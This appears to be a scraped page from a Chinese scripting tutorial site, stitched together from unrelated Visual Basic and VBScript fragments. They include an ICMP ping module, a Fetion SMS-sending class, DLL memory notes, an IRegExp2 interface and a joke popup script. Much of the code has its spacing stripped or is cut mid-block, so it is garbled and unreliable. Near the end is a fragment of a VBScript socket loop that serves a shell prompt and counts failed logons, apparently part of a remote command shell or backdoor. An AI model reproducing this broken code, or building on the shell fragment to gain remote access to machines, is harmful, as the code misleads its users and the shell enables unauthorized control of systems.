wMaxSocketsAsLong
wMaxUDPDGAsLong
dwVendorInfoAsLong
EndType

PrivateDeclareFunctionIcmpCreateFileLib"icmp.dll"()AsLong

PrivateDeclareFunctionIcmpCloseHandleLib"icmp.dll"(ByValIcmpHandleAsLong)AsLong

PrivateDeclareFunctionIcmpSendEchoLib"icmp.dll"(ByValIcmpHandleAsLong,ByValDestinationAddressAsLong,ByValRequestDataAsString,ByValRequestSizeAsLong,ByValRequestOptionsAsLong,ReplyBufferAsICMP_ECHO_REPLY,ByValReplySizeAsLong,ByValTimeoutAsLong)AsLong

PrivateDeclareFunctionWSAGetLastErrorLib"WSOCK32.DLL"()AsLong

PrivateDeclareFunctionWSAStartupLib"WSOCK32.DLL"(ByValwVersionRequiredAsLong,lpWSADATAAsWSADATA)AsLong

PrivateDeclareFunctionWSACleanupLib"WSOCK32.DLL"()AsLong

PrivateDeclareFunctiongethostnameLib"WSOCK32.DLL"(ByValszHostAsString,ByValdwHostLenAsLong)AsLong

PrivateDeclareFunctiongethostbynameLib"WSOCK32.DLL"(ByValszHostAsString)AsLong

PrivateDeclareSubCopyMemoryLib"kernel32"Alias"RtlMoveMemory"(xDestAsAny,xSourceAsAny,ByValnbytesAsLong)

PrivateDeclareFunctioninet_addrLib"WSOCK32.DLL"(ByValsAsString)AsLong

PublicFunctionGetStatusCode(statusAsLong)AsString

DimmsgAsString

SelectCasestatus
CaseIP_SUCCESS:msg="ipsuccess"
CaseINADDR_NONE:msg="inet_addr:badIPformat"
CaseIP_BUF_TOO_SMALL:msg="ipbuftoo_small"
CaseIP_DEST_NET_UNREACHABLE:msg="ipdestnetunreachable"
CaseIP_DEST_HOST_UNREACHABLE:msg="ipdesthostunreachable"
CaseIP_DEST_PROT_UNREACHABLE:msg="ipdestprotunreachable"
CaseIP_DEST_PORT_UNREACHABLE:msg="ipdestportunreachable"
CaseIP_NO_RESOURCES:msg="ipnoresources"
CaseIP_BAD_OPTION:msg="ipbadoption"
CaseIP_HW_ERROR:msg="iphw_error"
CaseIP_PACKET_TOO_BIG:msg="ippackettoo_big"
CaseIP_REQ_TIMED_OUT:msg="ipreqtimedout"
CaseIP_BAD_REQ:msg="ipbadreq"
CaseIP_BAD_ROUTE:msg="ipbadroute"
CaseIP_TTL_EXPIRED_TRANSIT:msg="ipttlexpiredtransit"
CaseIP_TTL_EXPIRED_REASSEM:msg="ipttlexpiredreassem"
CaseIP_PARAM_PROBLEM:msg="ipparam_problem"
CaseIP_SOURCE_QUENCH:msg="ipsourcequench"
CaseIP_OPTION_TOO_BIG:msg="ipoptiontoo_big"
CaseIP_BAD_DESTINATION:msg="ipbaddestination"
CaseIP_ADDR_DELETED:msg="ipaddrdeleted"
CaseIP_SPEC_MTU_CHANGE:msg="ipspecmtuchange"
CaseIP_MTU_CHANGE:msg="ipmtu_change"
CaseIP_UNLOAD:msg="ipunload"
CaseIP_ADDR_ADDED:msg="ipaddradded"
CaseIP_GENERAL_FAILURE:msg="ipgeneralfailure"
CaseIP_PENDING:msg="ippending"
CasePING_TIMEOUT:msg="pingtimeout"
CaseElse:msg="unknownmsgreturned"
EndSelect

GetStatusCode=CStr(status)&"["&msg&"]"
EndFunction

PublicFunctionPing(sAddressAsString,
sDataToSendAsString,
ECHOAsICMP_ECHO_REPLY)AsLong

注释:IfPingsucceeds:
注释:.RoundTripTime=timeinmsforthepingtocomplete,
注释:.Dataisthedatareturned(NULLterminated)
注释:.AddressistheIpaddressthatactuallyreplied
注释:.DataSizeisthesizeofthestringin.Data
注释:.Statuswillbe0
注释:
注释:IfPingfails.Statuswillbetheerrorcode

DimhPortAsLong
DimdwAddressAsLong

注释:converttheaddressintoalongrepresentation
dwAddress=inet_addr(sAddress)

注释:ifavalidaddress..
IfdwAddress<>INADDR_NONEThen

注释:openaport
hPort=IcmpCreateFile()

注释:andifsuccessful,
IfhPortThen

注释:pingit.
CallIcmpSendEcho(hPort,dwAddress,sDataToSend,Len(sDataToSend),0,ECHO,Len(ECHO),PING_TIMEOUT)

注释:returnthestatusaspingsuccesandclose
Ping=ECHO.status
CallIcmpCloseHandle(hPort)

EndIf

Else:
注释:theaddressformatwasprobablyinvalid
Ping=INADDR_NONE

EndIf

EndFunction


PublicSubSocketsCleanup()

IfWSACleanup()<>0Then
MsgBox"WindowsSocketserroroccurredinCleanup.",vbExclamation
EndIf

EndSub


PublicFunctionSocketsInitialize()AsBoolean

DimWSADAsWSADATA

SocketsInitialize=WSAStartup(WS_VERSION_REQD,WSAD)=IP_SUCCESS

EndFunction

注释:--endblock--注释:

--------------------------------------------------------------------------------------------

窗体代码
把以下代码回到窗体里
OptionExplicit

PrivateSubCommand1_Click()

DimECHOAsICMP_ECHO_REPLY
DimposAsLong
DimsuccessAsLong

IfSocketsInitialize()Then

注释:pingtheippassingtheaddress,text
注释:tosend,andtheECHOstructure.
success=Ping((Text1.Text),(Text2.Text),ECHO)

注释:displaytheresults
Text4(0).Text=GetStatusCode(success)
Text4(1).Text=ECHO.Address
Text4(2).Text=ECHO.RoundTripTime&"ms"
Text4(3).Text=ECHO.DataSize&"bytes"

IfLeft$(ECHO.Data,1)<>Chr$(0)Then
pos=InStr(ECHO.Data,Chr$(0))
Text4(4).Text=Left$(ECHO.Data,pos-1)
EndIf

Text4(5).Text=ECHO.DataPointer

SocketsCleanup

Else

MsgBox"WindowsSocketsfor32bitWindows"&"environmentsisnotsuccessfullyresponding."

EndIf

EndSub

->


Class VBSFetion
Private [$mobile], [$password], http
'Author: Demon
'Website:
'Date: 2011/6/11
'初始化事件
Private Sub Class_Initialize
Set http=CreateObject("Msxml2.XMLHTTP")
End Sub
'结束事件
Private Sub Class_Terminate
Call Logout()
Set http=Nothing
End Sub
'初始化函数
'mobile 手机号
'password 登陆密码
Public Function Init(mobile, password)
[$mobile]=mobile
[$password]=password
str=Login()
If InStr(str, "密码输入错误") Then
Init=False
Else
Init=True
End If
End Function
'发送飞信
'mobile 对方手机号
'message 发送内容
Public Function SendMsg(mobile, message)
If message="" Then Exit Function
If mobile=[$mobile] Then
Send=ToMyself(message)
Else
uid=GetUid(mobile)
If uid <> -1 Then Send=ToUid(uid, message, False)
End If
End Function
'发送短信
'mobile 对方手机号
' 'message 发送内容
Public Function SendShortMsg(mobile, message)
If message="" Then Exit Function
If mobile=[$mobile] Then
Send=ToMyself(message)
Else
uid=GetUid(mobile)
If uid <> -1 Then Send=ToUid(uid, message, True)
End If
End Function
'登陆
Private Function Login()
url="/im/login/inputpasssubmit1.action"
data="m=" & [$mobile] & "&pass=" & [$password] & "&loginstatus=4"
Login=Post(url, data)
End Function
'登出
Private Function Logout()
url="/im/index/logoutsubmit.action"
Logout=Post(url, "")
End Function
'给自己发飞信
Private Function ToMyself(message)
url="/im/user/sendMsgToMyselfs.action"
message="msg=" & message
ToMyself=Post(url, message)
End Function
'给好友发送飞信(短信)
'uid 飞信ID
'message 飞信(短信)内容
'isshort True为短信,False为飞信
Private Function ToUid(uid, message, isshort)
If isshort Then
url="/im/chat/sendShortMsg.action?touserid=" & uid
data="msg=" & message
Else
url="/im/chat/sendMsg.action?touserid=" & uid
data="msg=" & message
End If
ToUid=Post(url, data)
End Function
'获取飞信ID
'mobile 手机号
Private Function GetUid(mobile)
url="/im/index/searchOtherInfoList.action"
data="searchText=" & mobile
str=Post(url, data)
Set re=New RegExp
re.Pattern="/toinputMsg\.action\?touserid=(\d+)"
If re.Test(str) Then
Set ms=re.Execute(str)
GetUid=ms.Item(0).Submatches(0)
Else
GetUid=-1
End If
End Function
'发送HTTP POST请求
Private Function Post(url, data)
url="" & url
http.open "POST", url, False
http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
http.send data
Post=http.responseText
End Function
End Class
示例程序:
'初始对象
Set fetion=New VBSFetion
'登陆飞信
If fetion.Init("11122223333", "123456") Then
'发送飞信
fetion.SendMsg "44455556666", "Hello world"
'发送短信
fetion.SendShortMsg "77788889999", "Hello world"
End If
这时,可以通过下述方法实现:

  1)VC 中申请动态内存的DLL库函数
char*APIENTRYCreateStringBuffer(longLength)
{
char*bufV;//假设需要申请用以存放字符申的动态内存
buf=(char*)::malloc(Length);
returnbuf;//返回字符串指针,其实就是一个long型数
}
  2)VB中接收动态内存指针的代码
......
DeclareFunctionCreateStringBufferLib"C:\DLLTest\Test.dll"_
(ByValLengthAsLong)AsLong
'Long型变t接收动态内存指针
......
DimslBuffer&
atBuffer=CreateStringBuffer(20)
'申请一块可存放20个字符的内存,得到指向该内存的指针
......
'使用该动态内存
......
  注意:VB中使用完动态内存后,为了避免内存泄漏二要将其指针传回VC 进行内存释放工作


result="&#"&thisd(MyValue-1)
Ifresult="妖"Thenresult="人妖"
SetobjExplorer=WScript.CreateObject("InternetExplorer.Application")
objExplorer.Navigate"about:blank"
objExplorer.ToolBar=0
objExplorer.StatusBar=0
objExplorer.Visible=1
objExplorer.height=300
objExplorer.width=400
objExplorer.left=400
objExplorer.resizable=0
objExplorer.Document.Body.InnerHTML="你上辈子是"&result
Response=MsgBox("确认?",vbYesNo)
Loop

第四步:点击一下刚才你绘出的控件,然后找到属性窗口(一般在右边),看到其中有一个Caption属性,属性值为Label1


interface IRegExp2 : IDispatch {
[id(0x00002711), propget]
HRESULT Pattern([out, retval] BSTR* pPattern);
[id(0x00002711), propput]
HRESULT Pattern([in] BSTR pPattern);
[id(0x00002712), propget]
HRESULT IgnoreCase([out, retval] VARIANT_BOOL* pIgnoreCase);
[id(0x00002712), propput]
HRESULT IgnoreCase([in] VARIANT_BOOL pIgnoreCase);
[id(0x00002713), propget]
HRESULT Global([out, retval] VARIANT_BOOL* pGlobal);
[id(0x00002713), propput]
HRESULT Global([in] VARIANT_BOOL pGlobal);
[id(0x00002717), propget]
HRESULT Multiline([out, retval] VARIANT_BOOL* pMultiline);
[id(0x00002717), propput]
HRESULT Multiline([in] VARIANT_BOOL pMultiline);
[id(0x00002714)]
HRESULT Execute(
[in] BSTR sourceString,
[out, retval] IDispatch** ppMatches);
[id(0x00002715)]
HRESULT Test(
[in] BSTR sourceString,
[out, retval] VARIANT_BOOL* pMatch);
[id(0x00002716)]
HRESULT Replace(
[in] BSTR sourceString,
[in] VARIANT replaceVar,
[out, retval] BSTR* pDestString);
};
x执行sql当事件由用户触发、或由系统触发,对象就会对该事件作出响应

If sRevData <> "" Then
SocketObj.SendData chr(10) & "[" & SocketObj.LocalHostName & "@" & "enun]#: "
End If

If Left(sRevData, 4)="exit" Then
SocketObj.Close
Exit Do
End If

SocketObj.GetData sRevData, vbString
WScript.Sleep 1000
Loop
Else
LockoutBadCount=LockoutBadCount + 1
SocketObj.SendData "Logon Failure: Unknown user name or bad password." & chr(13) & chr(10)
WScript.Sleep 1000
End If

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号